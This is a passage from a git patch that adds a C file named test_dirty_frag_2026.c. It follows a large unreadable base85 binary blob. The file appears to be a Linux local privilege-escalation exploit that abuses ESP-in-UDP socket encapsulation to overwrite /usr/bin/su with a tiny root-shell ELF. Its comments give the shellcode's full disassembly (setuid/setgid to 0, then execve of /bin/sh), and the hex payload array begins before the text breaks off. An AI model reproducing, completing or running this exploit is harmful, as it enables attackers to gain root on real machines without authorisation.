znkp}OH0YxO_?>!fQzJi@nJ989fO*E|27|9ycSg@kzm?(CjdsVrFZ?A`;e$!5j zbPYVx9pf+*Bi&?pQ~356gzp5i@a-1pY&6j~nX@Iz9BS*Wv^NCD5||U=U#;=40B3Bi zry<@kwpEsg6lzRTI9Fr15)7J!A)STU!oq$SOTaJ?41%?<#+pp50Uvo?4P9=R&_=HK z(aQ3pN}1$80(%AjLF7bTn`pEMnl?}zQaS3A8ZaFNw1KHf?=u=-wZ^xO`L0_V@KGCs zXbg({9n8V&)|x9{>$r{DCNx0eFm+cpbP)r<9`Y*a`=AVp*P?S(pe@%>uSC?DgWd`b z{yK^V(3PXA=E}Cdo{7S&^T8J|Z9vHxoU28yE9c16_ExouKOrZo_zh_c_$VUHeqSk) zKo0b5P1&kaE>&c%Q@0?I&x%U zs<$&YdW(VengiEq3w5!Ap$&n*X^rVHI(8^JPJ-~Ax?YgG0?eE_&1i`Kps$<#d)1bx z1SMJ`K^+wCrj-D^+1}D$3<|dZk+jM5pK+$c(FSSDDPyP}mE2Z+Yl0FQjD~GAoq$i2 zFa-r<3~SAtGr(^;itP60MDsc<@Mjg{lxkDQ{aKx1eH7JM*vRKV~U#AD1J2u;h8#byp1Sa**39*#ht z69dETP$ZfytJ2g4Q`<(Yyfa|13Fb5~Pe3-4iO~R0GVk8H1~z-l0llb95=9nA8rWZc zjDigfOTDV45G_L9?)^HE!T4rcEC=9#KD8|A0PG6A@eNhMGb}#w9TDOOnb_N{(eT1U z;-(OJ9ITg`j;+8R!B8Yj3=L{Qyh1D}S4+y!ooFg7)lq4he8|Kw-8&}OJ0LV43m?CU z_fnAnrfC2+nn+r3CMM@L9^1tfk^~Q6=B{jB+k4v@tXaOB6^yzYda>t=N1~VNY3jCKq}} z2MkX@0n|~Pm60z0b|H;~gW(~`(1Y5Ha4jPP24{rFglwJA+~esOBNvj9U{Txo=3}jp zfXTk^A8?9)BONoE{Z(Rw4bogR!|!u)5-dfsy1`>i8e*zQ8ZvWj(vY0$q#@VUBn`1O zBn>HUN*dyAP8w1U7x_q9^pQm?6#IQMAfmFKzO@y@9WbWRmkI_Nwi|sHBPTkR33~`1 zor{`-zHG1n8plwOsLg>YHa6&^qtvauRz~Bl36mZ($OHUs&TTRWgG3Tw?V_@*HAgJ5q{$VYN8&vQX3T; zMm!D1*$)S@X|6V_>j;>~QqWerw z*B^9jV_((A{+f*`!p4*s#g}O|IuQ~WZqPrZk{@nRjd@hBqz;{omAw3wbVMC>E!Y(> zG~CaQ*vp)e0rn7lCmca91%YlI=mIm_*cW47WolW~7eLDWQ+Gu2Cbt83>!dY15ieMG zG(?|q{2di0Y<{Cso_t_08QfD%oj~5s^g47vdl%%NOPc1*ZW`vOG_rnT|}#l zil)P4fExFUMhYvt#vr?p>Bqk~$@DrZ*t&=7+!*?t2uK~PzR1*sOS? zriA?Qp(j6=o#i=-5kHLvFI7QQutz>ijEn|vp|)Z)IG09)U`{p1@hhjXpXfXad&24q zsFzn`-;rqE>Ry^_cNW@QW`EkQj4o^bA4Wod)I=Cu0j( zEFFmVLbGAy$_V{>MB1uowssP>evnVKkJ#EDw$iZM7_y-$L?aX;K-U48Sxe2UF0i+r zh01`g2mHWF?opNelcI$k^5{KO-yT&lO6nk5C{Z*e9e~gpxfy!=Jc0T*nz^N_GB^p2 zLxQ*B z-j#+VtWC%)G_kIUHZ+5VBj+0Ac!gnQgQ+VO+(leH*5LR;AD$HyV;r8l(4-|^8Bb0J`p3~i>Nx= zxEnS;#=y}=QwZfC*a_Snj5~(iE#~f-&1mFWR4B{;y*L0+PnurCvYLwcspVE{3C(ld41C6oImjRBD!`Ne$1)f1~BXqr*jnj z+Xmn(w3sETL;AjtWkej}(4jc|^iGb$j3v==*aibR`ocA$e>TtrwB!@mw;eTXKoe#9 zcWXmsGKf%q1o9E^Q$luCkyBH&OekuzMk~4#ibMdv58*=PBuK-~8{g<6w1CCP+>rnr zeNehps&lLAemgAdm7uBXEYz)!QD@ZDYi-=XBoq({&<5(0k)nGQ7W~xHyg=aEDvsF{)BZjfC zM1$@@Gc3UViMk@2E4!ix77EwYL9!SNQY3vU)A#5aQ@u>V5;Mb@Wm+96aLr$$Zy&r=Zb9Tik>oPx~PD+&|P_~ZR9bQeHO&AgkKEGjlBQk;Tn5HGT1Ms zfJQ!Jh3DZoI<@3!NRG*U2^-+yndhFa0BFdLOh0YtO>LMnD3nB&UeDz$rXRsij|l03 zfsdwPObr1ad6FOPsb@FIA5k4?8D6oci+_itpdeK#zWorq!5~#%l4VhtTQ zB>Tw6K#JAN=K+ufdyHf1$P(!U>LjA=qNL5dAc30AM2n+S1nFQQodt*9C1O&cjkRfh zJYY2)7K=+BiRdeIfP05J5}8$NW^2~u2y2pJtSM2g32%fLEJ&J>P|9-%qOqB~<6%_y zM+k-LBO?69z)cvW5gdpmexyn#6JqK-1fkp=8xBgZG$L3 z@e6W0Pqh~z7wL{fe?QarxQpo{o_tBL=v*TXGl#dDmy!TWmkB~Fb8xA4Rju4-`C&Qa+P`e*T(I?b@FfD{%ijsZ`$A74O@on z_V4gFKb3)5so!d%xb-kr1$N#_t>;{6J<-!0_uDVckFsvERa=*8!t< zbYf#7ZTbn-kQS+^H!WDV{iap^JroI3tGnPRd$S3v8dQi+u&-((WzCi4%}UvI0mJQ5 z*&rx824xFa*-WZ^{k6KFb3&we1hEM&i=%gurZ<)K=6s#B+50V)6t6u03D3*l{>tHA z5HR#s^+M;-zmuZvb+q?WM~*_FJXA{klh-7dQB(2rr_u2(ID{fm^QW-4HRIXtFR(Va zaV-)sXVxCZE|aEjT6e?s$4*eQ(=kB#!E;x60)`c^MTExi_rXFmV_<>^jZ4W;3gF=#BRu#rBp4pyLZn3`DSU2r58Q4D8vgbg<{Vz)qa z0fO3to?e0j4{FcBwGbc|K`^3g2PVQ>AW|Tw2_$Aw-YPZYlo!)qDMjNVAqT)iyCXcyYXZJ9^#c|S1P3t+NRfJzQ6e8}fr8@G`^(+X$vWwx}P}G^> zc?{FG?3aC1z5uX@k*^pg{%wk}qZ0an;l+S=`SS3cu*+vd(s7rs00}~oD=Yg4XtCNX zM1c&^EP=TJ7&Jl#5^e;n^<);#BCHm2eFej0;6%t>&HASTM#vEQp423zyegy!4)b|9<$yw**k&@N%E9NkX#RumO18g)P0#{6axYleU;rrun3|)O z!wJxaC4a!QMJ$I=j2J{9i`BsqNR^LN!;xK=uNsD9Y^)JU0}^Zvd`(Ev1T=`iZOy1Q z+!jJYa|jBYRPJZyM&Eh>gQ1BSh|##b|G4;G!$8-jm z@=wK-ip>U?XgavL`~;0YNp~c`DQnexo%)O0GGx(C%}JY-rV#3Y;Ak^%x3zU9Bu<_Z zw1TeD1&Q$rI>amJ7_R`nlgeXsbc$EdIjTS$JzY(qjSYr;G_gH&8co(HGjDGmM(Zt( zIiF%Q^n?%KpP6|Co}tdqr~n?J+bOydx#os2^|QuZhGKB4i_UDZFwTd48U$>5*k zy;$SL`vZTHx0QP!)wl1T=G~z2p7*DDOEq5OpXQyY@ecmeyo$z~`loq!Vqg@paq*w# zU8C`){b}AA8t>>o&6}+8j{DQR``=dUJ5e2O{N?L$gjnA0ajOe|4K%v;_KCsRFz-eT-@P&5n0}H)-PNM;D^b)j!M`_sJBojf z1`iWAGPk%mmGtZ(@zKgU}Al%7eGp219E z;@LvqOwX69o(abqbJq&JXTFZr=dOr&rX{v;zTOzUXXpVjwc1e_gTH9c7&T+Qh&9F# zWz3hcoL^$SuAUty@)|l&~jQKE@^KzXrAH^09)ElGs%z4r?`(X_JqK!G`RgHN+)|kE2 z(KOE-h~<2VJDc##2eE}!YFCT(Oke4lCK!XiXk#pzF?(Z;nHpuxzF5u_oiXpl7Ix7a zqxVd2>6tw+27l4U?DMFec{|pa&D7B}&%6`MxsE%V@XWihg*U1FKGrkI(lfhZ4E~~x zF=@uU5o^rQC}ZA?O}WjM00hy99T_82m*WQ|nee^Lnf?4^cnm2(;2fZws5-M7@cR-kg0_&_=~osmuAZ= zv9|m|{YD6ghF7-%nl;#&FEtiPO=7;V_S zOq}37ld^J)1+cTYD=Tg%oJ^ngKcf#pC}w75Vw$I0Ev=uz*hS)$1W_gkmfeF@55Qz>MeL=102f?_^1l(N^w&{N8ImQIv0K@h$w33DTaoE3zW1z`w;^^$N&gpjj>kg_0b1)*9Q zs~|idHQ?;Z<-KGUb@BU-A%0rA;YkNlDVo|3ULp?83J%ILM@Vu|DmlonTy_*V=_-bs z1xy}c_^^Pf;tU@YFx8LY{Q{F8Vin#Z;3B|q z69zipQZ71(+zkSW`P^q$>FGKrUuB(<#p0uPd7q%v~uo z)c{=3fZ#LLA`*M7n9Y%hhpm&sOQ{>oti`T-H-sh6&&^wfstX(R2pt};Z6yTRlTpG)7`w2?jwp3x&sYHsCf#!(1A|IeFsp6Bih|c((1P; z8`EtoU-{p6+v&5SyKTdt_BkA%+@p&SLl3yUbZa~?6aMx>SWdE9ecaI<6P|)HoRV|J zSJc7mO4IHHR(Yw9hTWuF-oYa*KDRXoZ3h=+UYmJc=JlDDlZWiuGjXz6KM}X?F=D4t z5-|K`C-K|s#=uGHlir7g%FrEfb0`ZcGyOY51K=_LYoXhqhz$6;Dr02b7~JG2N31>VTv^S5WhaURh6x;u!#H$}zR~ zj8F#7SMbC|z7q7|`FIzGoFiT$7(gcYV7T8$U8u62z7@R6@%<*8D${ebHu51?;g3QJ zj2``2cjPhtS*QR{w&9hK9bh@&%SO#n?>C4E4!eX@BJ3c+&_`N-9f=MaE|cIas5JZ0 zA1Mw!r%{`s4yzlyr-5h)6QK~;tq{YFOljy}B9c;s!Cc_~0 zdA?D-y)F|(YHXY>ZXb=5Oj)2?mZATIOKk*G)CQ|Wk?T2Iu&sOq>-(=klw zaL4GFrs;UTFRva)K(t(Ba#k!dDVwxuH?D@sHPi428D|9e6@-)p;ci%{x<>d4i_>wKMnNr{(&n$fSirLOw0x8G!!bBl27<7= z^pTa&?XOA|3}g(i9|sGVbaF4Bv|x!A-xy4uUvgpjj>kg_1u z2Lg3)83>#egp>uLJ`jYjB7q>B5(xxZdkO?uKMDk@0R&MXkd^vCAY=4_KsrSr%wDVw zLjUVPczL2O5Qf)ifk1DQ%0S?(a5QD30-;}ojI)A_vQdF>z96GO;H>Z-Wl?E;Ae{=T2qD8K$l#ZF=mHEr=GvZJmB!0{`6kos_f-Ii)g+afajy!4i+t7UD`LXEPA&+R z>dR@K3yuAp%7c=T%6V26vtVf9^R#^O(DJF|I88PX|@N zkSU4J(h=VziQlLC)G9|$n@7tDv!8yd#IQ^j);>d)i=&##`V7psisyW+Zzxv>^2pB$ zeZrKcTCoOAgQ2v@#0|jh%|>(ZyyVbz&jPj1oPH20YM^3(RFNZ8jH9`{vYry5f^yL+ zZW1bLP$B2FqV^eNLIS=Z@bGxTHHJE(LNn;?rC@y*gaN#rOi93tit$XvKO`IM@eSy& zn(5z;TimpB4))poHOL^~vSVb*&SdH7j#3wv9Gb3;Qr9}vlXsipRak#RK5L|RGlRiq z+>7QPF{5|J@M>@O=hzq;qs)~%aI@S;6gVgCl(e}QUPeM#e+2|}6=c5@Ssc3izCc!- zZXD$t^@Yzx@j+ydh-?$GpK&>{lW6V$2Gb(^=*3l;*;iw0amYkhGRO21){7Y~huWob zrx9K~2c#5Jdan+bHGP4suYFQ}aLiegh4+(#^=(iD7b_7Li(28gda?2cbCip#xFR)YLh;!;7ymX+H0Ky77A`&yn<#jVH3}CWgmS%$pQZ>2R#ESlE+&d77k>(b zbnz!5OD_HxS>fWtoFf;1B#Oz!ABrrw_z;(qi%GO_@sWimx%g^fy>RglPjhX_#hXD& zE;j3G>XtRVl3Jqn8u^L1SiHk5-%I8w7PVp*uL5(Fi~?oFJL%b5@Q0?LVk=SeiFp;H}_g*;hpg>7GQwI&+V;C+O*n0;g1<$P&5K3 zj!_7j*9^SR5gVK(>uH1Y95y)5C9Hg|(X<|F6&AjRg|8RF+u(2^T#sPkIz+5+0}Edd z;pj9uWgR z1!1fKKaUmlc54P)BMf+nq*l$K5g)@aQ$-AT{VDbUzlHBNEGJSiednHR!0mf94_ptz zSOY$0(T$-WP$%JmL)g~CUFniozoCCy62A`OMpHHXrO<}H`s5A$TRhhFIhI2kdIESu zPZ{3OQ$}p)DR-(3z3WMenrcK%wb;-<3Q=UdenbCqI^ppChG-Bv$H7dTMu~hq8F!la zIhofT!O-PKJl(TKFm$VNVw!h$1S6inc_&3MT?EZV5lmMh=j;e3NnoO$8~S}0!=B1| z`d0W<=L6h#rJ9U~`_zf~ah#WO{G(<01=R2yoD88Eo{_|hb;O$_@nswahQCV^?8!8F z|B)o;5{Y_&xiNI&aSDbcpB3wY&?=Pq`9WA^eJWX(b z%6j5dR*uI^$ScnPi^5aYUF`MIc*RjI3ieRg*hu%AM#=+*BqBmPWS7_RpRp?8i{2 z+5b-|_;XRkiaESW1tVF=KJWO^HO0461 z>Woc-G*QOq`S4zltYm7nN8S{{$R242Mkq;K*+US6^K+)71_N*afanoH!v$PD>XPSi zP8xg$H8^+4ELaGauVt6-5?hxP_yEJmJ#^g#ubDt+b5~`i zfDibp2^pwbFUqnB>91NK%4$SetteY8$_ho<7E!iSlog3G4<+jM5x~;A=ioouQO8&8d6456E}vweUMBMPv$G@+o+wmH&IUOO}A5@#BWv#5vwVw zEMH46$HD>XTi$wz$6Imds5!bmhY_^>Mz7b-SDVP*L}m?3Tg&%Xr8LO8_lI}Aqz`1?{G36p%6pj$PXD!{3PsbdJ)e&19G zL8zLMa3EiS3`ysLI`kYlcc6hjK?C_3R$dn`>Ry0#s7I4%3rdugcogN6;~kSFCB=zs+E$7VV+cgxlI>6H*}SG`h-daKWZ3P5MZ%jdwu31v`)2ehqS z)Jt81%t2E~Y)OJWKF4wz?LebV4G7giRC{e-v*el-oh4tuai_2Zuh@$pi{@7mA@XB( zuxiP7_e)DwN$bgyX7!0<11n%lE;z}O(C26zT7&SvM1ez|s3onuG$!9$5- ze{JZOh3qISlM;X%VCeK~s&*#iRGjO>1qr5|r-C4p+ChKouCroJv-c82+zh%`86E^|o7 z-+;E2zmWEQ!=V&2thMvD0_|;~)`569Dd;HTA7+yjHfyYIE z{zU`%OH3ZDhs3LfUNjFDf;|P)8O?_K6}Xj1KLfb%K6FL&LT@XdbNAK>eux z777r**wyfF49nLg(eKPyZ^)Nvkrbp;Z|Yu_{AG1g&p@D7scHx}J+*L^d+f zOR}HQaOkr1>nB)@h3-O|i^bR^wCv5MW9niIjOt=+C;1Q;NP$9_>Q-V8pe@k<#hsp{ zJN`hUp&Hb5a1id|_=rVYhh2O(g$#bLc)9uJ^4+xjT2*YuKP^BsbWu-Tdod!|=UUta zk!!EV$fI)YB}=DAN>__gkCBXH<@k|mE~bUoCe)CBEJirhJC7D#TID<@X=U`nYdcIu z#TqadHt>>*ekVa`>5FPLL_8tZBsow(i!C9O7h7%If~e^T`tdUFkekboeS~3PrQX6j zFQDp?g}oyd(z*w70;c`CMNb|@Jijb{DPA(+X8`h7eOk(CSn^E;3$1dHh*b_U)M8u^ zy~=4r#jwi3a`P0;`4$X8t;O5iE3v-JsflgF!hg_+98y;{A*^i5&~KtvHkkQ%StI(R zz5~1o?PM{2PZg?ogwhrd_}#oM{PV3rLtZa(4faE8x!IGdc&lbQ5!+#!pc!q;0oQ0c zMokpnk1tH6Q8Q+Zc2F@lMT@DPumB;|UB*V328#HM7epA}hYP@nb+`x$YkaOdFyqJ& zeuTN`m%`)OmKPy*2^H!N?^3)Jak~*!4)ua#V8SqUAAIj%(nHhVKR73+&(q*; zu?5P!6P^sxFR0C|!H*7zxVz~WZtjD$RPlDl9EEq7u@3&3dMQSqEARst2mw6KqhFS< zKR`j)ssh+#8qgZ@&s92B8H^C$qD=kHP{uJ0!NiGE7~LmB=0(a|Jz&(7-ngPqdVBiM=?yhEBpGV#`12$g zZouJ+0f!VyHvMbe!AX=&|M`YX7bF?xndZ!#RO+$0ij@&d>?L?oMk4sL$nCw(=q4J93xWJOWYV5TfR0&7LwnYudCKnbYU$NC`bR3Y|XklHqCiFI_1tw&tdy z8Y9Py9iq@bL}InMhX`rbygW;3zN^^cwi*Ye*m&b4qr1>nRFvz;v$2dt1GI2Ton^W@XRc|^ z3Z%14^M;6q6xC4{T@;~{MDvCiXJ2`-(Pgt184*~MQoP+11RTd4i`B;$A);bQFV~(o z0%b-!LfK>Ylnq0OI;nxZBT~GV8VjuU5oGAHwD<8r&F&|YFJv3W|+_9R;$ zYQ`dmW;@wkbg7<00X%(q5ipZ6$fd?t%!t&`yrcGZr{J z#*`cLjLWShl<}$+BmRi7a~90Wo?^@`vcrKoYXrhL*EA((PS(7I5vve4;FrZSvu43& zNixGU-!vm)iX@?$8z-b_+QARM!cM(n;}VBgkRhb0Tr$i0p*|k3i(1l@IXyFL7Q(XB zY0LH4a9d!h4FyGL)}kWhZBC+fl~JcdxaVP%SW3~VvpLFV+<#8iM{b*JJaX$@WVta_ zlO)vSJBo^M_rU5dL!WXvN*rEyQJGXC9qY|=qH$d4iaMW0kQ@)uUJ>24bm*vd-Wc9btH-5i# z(t91Vo*8`FZIyMu`Ks6ddw;?~XI|@7`(FE(_x30AzDu69d6%_A%hX99FV*93_zbt9Kd12_q zkE;gW|9kG)9_zn1EqYq`koczb%{NeLeH>Urx z=AP>x%zb}w{)v~bPTA_8y0iJtK@)q;`KjOWxB8Ci-)2vK=)GT3+tLizk8F7V?0QpR z(eGQ1T>JFB-#OpiG4y5Y^A+ZsH=jS{&%uXNPwd|_T z_B%T?kGS_Aw^X!VGI;LL4wbj=J(k@%xpYMFwu--BSasy}>wa~7w82*L)!^OdyqdMK zTlp)Y!Gwa*y1eV-!T)^o;rYeq6(wBr#osOqEZsV!rPtY`-+sA%%-2`G|H9C+Yn~k0>!!mO zHx0b<-@b(v4QY?K-|KD8=sfJsillc=yMFWa&kerkioSgep~U4+H)fdpd%ymqd)d(Y zi!Q7B`1bPW9f#Y0Uo!pW0k<8y^`Cx5)-lNT<@ z+Wgz@{ZuyTv3d3O-AjKoq<(+qw2Ye5-`iZ3_3mru-+Aye z_eam~e&gv!cf9_2-HDzlH11>3l+ROvH6LqOV@i?Nhy|F-O;c~m@R9j$V=5&xM__=u za#Bj#$kPAn&uGm4?`a06xha<06=oGCV!seH~jdiOkXTYvWnBNs}gt0dj<^ zbSWm@8QCVIX+idk*;(_9skFRFPfJVV*~H~=c!n53j~QtwMoV7$7;Q4eLWWmD*|Vou zX3e(b%$jS?oMTc5RP#Jv(YVbkX<8TXG|EH2@kqrz#$rdFx5#EJ!Q5Zuu;y8p6xlA9 zmXd#Y99M~~UXO!_Ft0ANTa9_%;^MNCBzI%|^D^g5$J%6C)(n%vH}ITRw|lvmha65D z8pmy%GdnW*%SETh;V`<3F-xGNs0izDwjXxLa&Qqh445~rfEu~>DdIE|^htZ%bad9ro*ppo7I(DXuQ&rX-vh|31iUc zVPlLFCK(4#m@sgN(THvH664DB;bUw-bC(7wFRF+|a@$G^tzI`4st6AD{}PKe*W<;u zCsmAaZfB7_*JjMbsPNymi3~8kooH>%&dI8sV~1VBcBaL(bF#E^vdVpuow=vBbMpVv zPQ;*Q=M>e>al_JuL(?Wq=a0_bF~djOhK*DGIz`$$MU|qrw;MS&+hxnM(~iK%J7L}S z`Q)xOp_>t(fz-d05!|VH`@h8ME~K$v=iiZt1G&NQxa*d4mG4iLJQa(2Y6hzt~o}MY1 zp8v_Xl{pRFY=RNvme_A_{MVF>Ywj$<=TeX+)gdeD;9qVpyUx0Ks(o&?0al3OJ(zcu0+qWR~t!QsQj5L2`dprF;>8uL;Gc$M( z!hSQ}5=Qz-WqbRzNH1KCm)4M;b!&V3gGkGfZb5qD@8C!J;%(qZS`+|(M@6~fcJL$3 zy94}458|fQ3Zy^cM%RN#@5ZgOElB;ic7GUYHC|{qfiwvhpU%VK^!a#2d?M1BNUud& zj&udmLC=97=|7QfK|1RtTmwUD+}qyX8}FJugLE{~(fiul=OJBy)PwXTr1v2G6zK+} z_r2HNz8`7U{`U6cNWVG+{?6oah5s#KN)v9Jqa>6jC!E{8bC)H2;q|=snsZcII=hC602D2FApNhY>BJsOb z$nuAHuf^XX=<7+C%$~`&CQj+mDGLSxr1BN`YeYGpuB+vVxlBOi58^KgG4d7KR^#t* zB#{WHd<*^#AXe@|s+A`OHU7guoBxKGA^TPN9q#T(1V*4v;IF}padyEp(E|{ zeODr&_RT=~lenf%{~ULuyqD&m#VCIe_xBx9F?a*VAn{kAyanS3ewIeZ-&K=ejq*cy zJDE3FYWpo^^H_fa%ESLfc{9p?Mfp<@ui2OQs8&A(cF}9trBUT>E>8u{i1H6m{xZfX zjX(R&4tI168gB1Y*}22R290(GXs^fEwy$3t+WLN)-crzZe5<|vwkW+mt(^L7$$wE! zuc#kH`CvW2h1uCJ2T^_)<=5!T6LU2AZ74r;PkTFF5sK8SFv8y#^&NzAevYX6J@I9Y ze;mqRMfpp5{>10C@&zcL`F4Bz!+O7UxSyRx?OqD}TNuyz*927g9X4{@l1P}xk1i>! zrq9YDl!B&ID9rzFewtH+wrZJ@J@lC-4e2gG1d7Pe8zA)Az=N`)oGn15>1~mrUqYe} z%>nc|M=!F&i zN3toQcLi4UuQ6smm7sE#WafW}7I_uF8*f6;N42|EfC_bM`l$N6bG7S*D!^3%O^?^a7cVmFYB@&X;MvOqa>@ zR+-)_)2C#*Nv6AGdO)UM%2a4ol)`-?myp<@qoGshE_E9OJblWP3C7f^wk39Ji7|cj z@R7sQhNX`mBC{&@$!P*m9hL9#%1!i#`fq}AhGOOgj5f>xb832;`Vy6%N}3!mRcS_v zUmSzSPaZJ6I=-s(S;!<{bX=p>Qx?!nkf8L@#!Hoc1u~>p9j{gV8m8~9jlU}XU&x%Q zzFUDOIbmt19Cnm9SWdEHtVRZ(2L4u*_mC3(FOt4c;%Plcc*_L>@l~QoznA!FLj)|R z3FSA5KPd4u|I?=v8iwRJ>4#MD;k7!_GbFytNJc9`ktqEozDnYGU5>J$z$aifa!P-y zQQ-4M zqO6wqpv3d~8fEuOeD}))A+M{Et(N$083HfEQK^ym6`2B0ey0z;o=JYYX0m{J{fz8h ziT6wucwRRnOD|p#eQ27%tA6-h;yaiHzFH(oSF|U^=M&POvbmH#z>}QEB|Wd3!84fY zla&ezJo-Q`ebQC@dI78W%T)Z+(fBJ>{4>#bIwv4|8l*kEfC7nC#UGIL($E`J{D;wa zw~ALCDd|@LPxZQgj-WqF+JC3S*US}oUgsnGn8f#AAn?4tM|P9M53>rq`rzaZiN7ue zPv;w?Hz@H>2{z?Bi66B@AW9|vcZq*i;(6VUvfdrYKgr6Pje<~(|9-%e{ItIdJg>)* zO_%t(7`$2Hr>+t7gGHiTFY$#Ee~rW!OZ*OrA13iDB>p>zua)?KKC;I zY^5}&|2`z;{L3%sUJ{A&ti&&r72^dd-(Y-CW!Y#Una@j*eLoI;I1ZkEQ2kVXJJWD#d}VH9Q@aD z{P_vf_f)Pg6qfUzAK7o>$oV}EJ_&JkDtiXT!HcvdkeG zO>yv5aq#Qo;Opby-;IM0#limyyc*m33iQUoS+7K#mc>-=9K!1fW&WZ#_{-wpuL7Rp zO7$n2l|OW+<5cpMxw$S+`f!J0u~?VbEx5g}0O9s{^Ye%2;++eZt-y{eAufxj*pgd> zw+!5%#QO#XMUExbB1@jf;c{E7-clvkQS2ZMs_{}=3F{WOltHFgiwgK@w1qC)Tf{ve ziDb8W>GrbQTWql}i@-~PkoD8wcNTa2(NuIrKKk;r>J9ClwW7NKt;l;0xPtvR)g2P0 z5-L|g#KI|*&Wn;O(h`27`)*o_D&$+cPB9`q!a;zATVTpCDkf4~4W z#`rqK5^p|U8p+w+ti>1hpAmx{Z;3a#BRyt}lwDbLW*oz-S#M?kx8Hsm$TqU{A zvM3xbw#~Fe2AO#?r_c~Hk1m2jm>m~KM~;Fnm&bud);LFvQ!Mmbi5h~%!%a>bn}k5; zH%+3-m$^%vE?ghUkHR9x=ys~Z87)lqXpI!1l3U`5SU?If8s;uV%y>L@ozv1UA=f(X zc^WU#T5Ne%k5%CzkQ{-ih$;sQuGL1N=#pp@qR`_gaYteDyv~tP2!LW~TWU%(Jm zOd_KzRctGUOQMJJ91;ZL8?8DC`LHQ9UV=1r)UAE-5E_pO%mgad<@#TQLD&m5}G^ml&DCexPk9+7c5Ev#wxG7FbYMT zG~eYYjzVIN&4cZeAA(E{%kX&~83 z?@mP_mRs#7bp%f?szlRo6lDPoa+r4cMMF<6BEVVTif&!Tp2SFZxS}M9SJ0wReAPG# z!}4R?THwNqXEAM_>nJI~i(65=`MkP_LRl;rx72}{1~hfe6g8ZYQ==VbvE;(@mXcCW zVN9ITxL*`qe}pc^R!6kom@di|Tv^nvwnY`>)2o;oX4EKzMsBH<1|(|{ZnA47JX+B^ zQwnaWEsa9M1pFU`!n0g%3gt2tEv9IYv@dgV)-YN>vmmj075r)* z`mDuRUyyv#15;^M7>+)w49EJp7)v&}T>n2#==ndk&Ny=xpKLxa#XU2b8YNy$)O~^q z(_0p&mrt1DxMQ0+DfIn6LJ(6Ed)%yo3J<;kvSpe|6V-A(SM)Ip^swBpC zpFgqo(_;dfb4Bi1sB~)TL^<7AP+|4nf|{=Ty*Htzt&%X-e`@{x zl7F(KQ}1D@sZsim_=zXhe|G~%J|X+~V~kGElAxNz#?Kun(DNIOf>KTSuB6J06enE# zQPcYY>G@k_z^bWguVmBgSMiU<@T=!lYWnYDl~bguUKP7OhF`s>qoz0>i2B6V{{_jf zwx3ch$z_^MKM-zsj#ZCs9+nE3E&->feb%J%7b!L9M2{)xeQLRKKY* z-$6z{eyGp&)zqjG$~0F0Vc>h>Pj-9lxq6d)ZWOCeh1E0!Ub^a|@~iir4*n1MkAwIB z8z}9<^uy+#9zgX!fQBC|eZ%a9rGvRZy&xqp{RhqiIY4k=KZMqRP;e5aA4dNL${_29 zt($rQ)el;yjSOJ=U^HkxA6b6_beu8a5JZ;(vSuI~rVl2}1Jn!>gSo!}s=ooM-vMnf zNdcx2N((~mH$W4I>6b?n2e}mlkZCk8g5?)L?Oy?kTp*AIVmBa$xgS=3f$|s3?La0R ictHJ84jd0d1~7YJV!-o7vFhIsN|-<(g{A?G%K!jwDaDHb literal 0 HcmV?d00001 diff --git a/exploit-tests/test_dirty_frag_2026.c b/exploit-tests/test_dirty_frag_2026.c new file mode 100644 index 0000000..d8d5711 --- /dev/null +++ b/exploit-tests/test_dirty_frag_2026.c @@ -0,0 +1,1951 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef UDP_ENCAP +#define UDP_ENCAP 100 +#endif +#ifndef UDP_ENCAP_ESPINUDP +#define UDP_ENCAP_ESPINUDP 2 +#endif +#ifndef SOL_UDP +#define SOL_UDP 17 +#endif + +#define ENC_PORT 4500 +#define SEQ_VAL 200 +#define REPLAY_SEQ 100 +#define TARGET_PATH "/usr/bin/su" +#define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ +#define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ +#define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ + +/* + * 192-byte minimal x86_64 root-shell ELF. + * _start at 0x400078: + * setgid(0); setuid(0); setgroups(0, NULL); + * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); + * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. + * + * Setting TERM in the new shell's env silences the + * "tput: No value for $TERM" / "test: : integer expected" noise + * /etc/bash.bashrc and friends emit when TERM is unset. + * + * Code (from offset 0x78): + * 31 ff xor edi, edi + * 31 f6 xor esi, esi + * 31 c0 xor eax, eax + * b0 6a mov al, 0x6a ; setgid + * 0f 05 syscall + * b0 69 mov al, 0x69 ; setuid + * 0f 05 syscall + * b0 74 mov al, 0x74 ; setgroups + * 0f 05 syscall + * 6a 00 push 0 ; envp[1] = NULL + * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" + * 50 push rax ; envp[0] + * 48 89 e2 mov rdx, rsp ; rdx = envp + * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" + * 31 f6 xor esi, esi ; rsi = NULL (argv) + * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) + * 0f 05 syscall ; execve("/bin/sh",NULL,envp) + * "TERM=xterm\0" (offset 0xa5..0xaf) + * "/bin/sh\0" (offset 0xb0..0xb7) + */ +static const uint8_t shell_elf[PAYLOAD_LEN] = { + 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, + 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, + 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, + 